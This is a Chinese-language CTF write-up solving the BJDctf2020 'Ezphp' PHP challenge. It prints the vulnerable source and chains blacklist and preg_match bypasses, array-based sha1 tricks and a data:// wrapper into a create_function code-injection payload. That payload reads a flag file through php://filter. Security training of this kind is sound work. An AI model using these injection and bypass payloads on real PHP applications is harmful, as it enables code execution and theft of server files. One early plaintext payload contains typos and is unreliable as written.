BJDctf2020 Ezphp
BJDctf2020 Ezphp
0.01先查看源碼,找到一串疑似base32編碼的,解碼得到1nD3x.php
0.02訪問/1nD3x.php得到源文件
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php"; //剩下的部分拆分了放在後面
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
1.$_SERVER[‘QUERY_STRING’]繞過
if($_SERVER) {
if (
//幾乎ban掉了payload里所有可能用到的詞 preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
$_SERVER[‘QUERY_STRING’]函數不對傳入的東西進行url編碼,所以把payload進行url編碼之後傳入即可繞過
(ps:一般的url編碼不能把英文字母等非特殊字元也編碼,所以本題中如果只是把payload丟到編碼器里沒有用,但我也只找到這個師傅說了對應的解決辦法//blog.csdn.net/qq_41814777/article/details/102058889)
2.preg_match繞過
參考//www.codercto.com/a/52693.html
if (!preg_match('/http|https/i', $_GET['file']))
//不能包含http|https
{
if (preg_match('/^aqua_is_cute$/', $_GET['debu'])&& $_GET['debu'] !== 'aqua_is_cute')
//需要在debu=xxx中匹配到『/^&/』,且debu不能為『aqua_is_cute』
{
$file = $_GET["file"]; //用file=xxx傳值
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
第一步中已經把’/^$/’這幾個符號都ban掉了,但現在需要繞過preg_match,所以在dedu=aqua_is_cute末尾加上換行來代替(也就是加上%0a)
3.$_REQUEST繞過
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
//要求不能有字母
die('fxck you! I hate English!');
}
}
$_POST優先順序高於$_GET,所以用POST傳入的值會把$_GET中的值覆蓋掉
1和2中可知,需要用file和debu傳值,所以此處用POST傳入file=xxx&debu=xxx可以繞過(xxx可以是任何不為0的數)
4.file_get_contents繞過
函數解釋//www.runoob.com/php/func-filesystem-file-get-contents.html
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
此處用data偽協議即可繞過(data://text/plain,~)
5.sha1函數、比較類型數組繞過
sha1函數//www.w3school.com.cn/php/func_string_sha1.asp
if ( sha1($shana) === sha1($passwd) && $shana != $passwd )
//既要shana和passwd傳入的值不相同,又要這兩個傳入的值經過sha1散列之後強相等
{
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1函數對數組不敏感,所以用shana[]=0&passwd[]=1繞過
//至此為止,滿足以上五個條件的payload是:
file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=0&passwd[]=1
url編碼之後:
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
完整url:
靶機網址/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
同時用POST傳入file=1&debu=1
成功繞過前五步
6.create_function運用
create_function注入詳解://www.cnblogs.com/-qing-/p/10816089.html
本題參照://blog.csdn.net/a3320315/article/details/104111260
源碼:
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )
//ban了這麼這麼多,肯定不能用一般方法傳入payload了
{
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";//包含了flag.php這個文件
$code('', $arg);
} ?>
code和arg是可更改變數,所以在這兩個東西上下功夫
6.1由第5步中可見,需要通過flag[arg]=xxx,flag[code]=xxx傳參
6.2利用create_function,對於
$aaa = create_function('$a, $b', 'return $a+$b;');
相當於
function aaa($a, $b){
return $a+$b;
}
對於
$code=return $a+$b;}fction();//
相當於
function aaa($a, $b){
return $a+$b;
}
fction();//}(fction為某個任意函數,"//"可以注釋掉後面的內容)
應用到本題,可以得到
flag[code]=create_function&flag[arg]=}fction();//
6.3由於包含了flag.php這個文件,為了查看所以用到兩個函數
var_dump://www.php.net/manual/zh/function.var-dump.php
get_defined_vars()://www.codercto.com/courses/d/863.html
可以利用get_defined_vars()
將所有變數和值都進行輸出
所以構造payload:
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
6.4字母和數字都被ban了,所以跟前面一樣,用url編碼一下
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
6.5提示了flag在rea1fl4g.php里,所以考慮用require函數,php//filter讀取文件
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
url編碼之後
require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)
利用異或或者~進行取反操作
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
替換上一步中的var_dump(get_defined_vars())
最終最終的payload
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//
base64解碼一下,得到flag
(查了一下,看到也有其他師傅用了fopen和fgets讀取文件)